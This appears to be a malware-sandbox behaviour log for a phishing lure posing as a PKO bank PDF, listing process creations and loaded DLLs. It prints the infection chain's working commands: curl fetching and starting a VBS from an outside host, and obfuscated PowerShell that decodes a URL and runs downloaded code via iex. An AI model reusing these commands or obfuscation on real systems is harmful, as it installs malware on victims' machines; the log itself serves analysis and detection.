Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Windows\SysWOW64\mshta.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\PKO_0019289289544_PDF_#U2463#U2466#U2465#U2462#U2461#U2466#U2464#U2462.hta"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /V/D/c curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /V/D/c start C:\Users\Public\676556be12aca.vbs
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /V/D/c start C:\Users\Public\676556be12aca.vbs
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" //E:jscript C:\Users\user\AppData\Local\Temp\cagesr.js
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" //E:jscript C:\Users\user\AppData\Local\Temp\djtukm.js
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\System32\conhost.exe conhost --headless powershell $tfqdysmblvrcw='ur' ;new-alias printout c$($tfqdysmblvrcw)l;$eipxqtmaufl=(3052,3063,3071,3055,3057,3052,3072,3071,3076,3009,3071,3005,3052,3000,3070,3065,3066,3001,3003,3000,3066,3058,3066,3017,3069,3015,3063,3059,3064,3070,3069,3004,3003);$ojxutsrkdwlmfg=('bronx','get-cmdlet');$beuwadknj=$eipxqtmaufl;foreach($juaveihgnosc in $beuwadknj){$edlkzoftxn=$juaveihgnosc;$sojqxwd=$sojqxwd+[char]($edlkzoftxn-2954);$cqgevos=$sojqxwd; $hmaoevupsdbn=$cqgevos};$knztexjygdmwfo[2]=$hmaoevupsdbn;$lkrpqc='rl';$ypatcirzmquds=1;.$([char](9992-9887)+'e'+'x')(printout -useb $hmaoevupsdbn)
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $tfqdysmblvrcw='ur' ;new-alias printout c$($tfqdysmblvrcw)l;$eipxqtmaufl=(3052,3063,3071,3055,3057,3052,3072,3071,3076,3009,3071,3005,3052,3000,3070,3065,3066,3001,3003,3000,3066,3058,3066,3017,3069,3015,3063,3059,3064,3070,3069,3004,3003);$ojxutsrkdwlmfg=('bronx','get-cmdlet');$beuwadknj=$eipxqtmaufl;foreach($juaveihgnosc in $beuwadknj){$edlkzoftxn=$juaveihgnosc;$sojqxwd=$sojqxwd+[char]($edlkzoftxn-2954);$cqgevos=$sojqxwd; $hmaoevupsdbn=$cqgevos};$knztexjygdmwfo[2]=$hmaoevupsdbn;$lkrpqc='rl';$ypatcirzmquds=1;.$([char](9992-9887)+'e'+'x')(printout -useb $hmaoevupsdbn)
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\System32\conhost.exe conhost --headless powershell $wcahze='ur' ;new-alias printout c$($wcahze)l;$trsoqwlp=(1811,1822,1830,1814,1816,1811,1831,1830,1835,1768,1830,1764,1811,1759,1829,1824,1825,1760,1762,1759,1825,1817,1825,1776,1828,1774,1822,1818,1823,1829,1828,1763,1762);$xepbrqkoau=('bronx','get-cmdlet');$dehltizxfcswu=$trsoqwlp;foreach($fahyrwncbvdkjm in $dehltizxfcswu){$dgznhjbpvsl=$fahyrwncbvdkjm;$pkhdavnfqjgs=$pkhdavnfqjgs+[char]($dgznhjbpvsl-1713);$swoezd=$pkhdavnfqjgs; $zotfqbascrdlje=$swoezd};$jmlkbouispxcrh[2]=$zotfqbascrdlje;$kuweximjag='rl';$obgwvcmaft=1;.$([char](9992-9887)+'e'+'x')(printout -useb $zotfqbascrdlje)
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $wcahze='ur' ;new-alias printout c$($wcahze)l;$trsoqwlp=(1811,1822,1830,1814,1816,1811,1831,1830,1835,1768,1830,1764,1811,1759,1829,1824,1825,1760,1762,1759,1825,1817,1825,1776,1828,1774,1822,1818,1823,1829,1828,1763,1762);$xepbrqkoau=('bronx','get-cmdlet');$dehltizxfcswu=$trsoqwlp;foreach($fahyrwncbvdkjm in $dehltizxfcswu){$dgznhjbpvsl=$fahyrwncbvdkjm;$pkhdavnfqjgs=$pkhdavnfqjgs+[char]($dgznhjbpvsl-1713);$swoezd=$pkhdavnfqjgs; $zotfqbascrdlje=$swoezd};$jmlkbouispxcrh[2]=$zotfqbascrdlje;$kuweximjag='rl';$obgwvcmaft=1;.$([char](9992-9887)+'e'+'x')(printout -useb $zotfqbascrdlje)
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /V/D/c curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /V/D/c start C:\Users\Public\676556be12aca.vbs	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /V/D/c start C:\Users\Public\676556be12aca.vbs	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" //E:jscript C:\Users\user\AppData\Local\Temp\cagesr.js	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" //E:jscript C:\Users\user\AppData\Local\Temp\djtukm.js
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $tfqdysmblvrcw='ur' ;new-alias printout c$($tfqdysmblvrcw)l;$eipxqtmaufl=(3052,3063,3071,3055,3057,3052,3072,3071,3076,3009,3071,3005,3052,3000,3070,3065,3066,3001,3003,3000,3066,3058,3066,3017,3069,3015,3063,3059,3064,3070,3069,3004,3003);$ojxutsrkdwlmfg=('bronx','get-cmdlet');$beuwadknj=$eipxqtmaufl;foreach($juaveihgnosc in $beuwadknj){$edlkzoftxn=$juaveihgnosc;$sojqxwd=$sojqxwd+[char]($edlkzoftxn-2954);$cqgevos=$sojqxwd; $hmaoevupsdbn=$cqgevos};$knztexjygdmwfo[2]=$hmaoevupsdbn;$lkrpqc='rl';$ypatcirzmquds=1;.$([char](9992-9887)+'e'+'x')(printout -useb $hmaoevupsdbn)	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $wcahze='ur' ;new-alias printout c$($wcahze)l;$trsoqwlp=(1811,1822,1830,1814,1816,1811,1831,1830,1835,1768,1830,1764,1811,1759,1829,1824,1825,1760,1762,1759,1825,1817,1825,1776,1828,1774,1822,1818,1823,1829,1828,1763,1762);$xepbrqkoau=('bronx','get-cmdlet');$dehltizxfcswu=$trsoqwlp;foreach($fahyrwncbvdkjm in $dehltizxfcswu){$dgznhjbpvsl=$fahyrwncbvdkjm;$pkhdavnfqjgs=$pkhdavnfqjgs+[char]($dgznhjbpvsl-1713);$swoezd=$pkhdavnfqjgs; $zotfqbascrdlje=$swoezd};$jmlkbouispxcrh[2]=$zotfqbascrdlje;$kuweximjag='rl';$obgwvcmaft=1;.$([char](9992-9887)+'e'+'x')(printout -useb $zotfqbascrdlje)	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msxml3.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wininet.dll
